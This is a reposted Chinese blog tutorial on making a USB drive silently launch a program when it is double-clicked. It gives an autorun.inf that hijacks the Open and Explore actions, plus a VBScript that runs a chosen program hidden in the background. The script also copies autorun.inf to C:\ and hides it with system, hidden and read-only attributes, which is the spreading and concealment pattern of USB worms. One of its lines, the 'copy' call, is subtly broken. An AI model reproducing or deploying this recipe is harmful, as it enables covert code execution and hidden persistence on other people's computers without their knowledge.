双击U盘时既能运行程序又能打开U盘
作者:翼帆
思路:雙擊U盤時既能運行程序又能打開U盤
其實可以用批處理寫,但會跳出cmd的黑框框,極為不爽,估計樓主的意思是用VBS,這樣可以不閃。
想法不錯,我們實現一下,Let's GO!
首先:autorun.inf,內容如下
它們的意思是不管你用雙擊,還是右鍵打開,還是資源管理器,都會運行我們的efan.vbs
[autorun]
OPEN=efan.vbs
shell\open=打開(&O)
shell\open\Command=efan.vbs
shell\open\Default=1
shell\explore=資源管理器(&X)
shell\explore\Command=efan.vbs
efan.vbs,內容如下:
set efan=wscript.createobject("wscript.shell")
''run后面的參數加0,就是在后臺運行該程序
efan.run "你的程序",0
''打開當前U盤,不能加參數哦
efan.run(Left(WScript.ScriptFullName,3))
''你還可以拷貝到C盤下
efan.run "copy autorun.inf c:\",0
efan.run "attrib c:\autorun.inf +s +h +r",0
?
轉載于:https://blog.51cto.com/linkboy/300426
總結
以上是生活随笔為你收集整理的双击U盘时既能运行程序又能打开U盘的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 求教PHP+oracle的开发
- 下一篇: 三本新书(包含新系列)隆重上市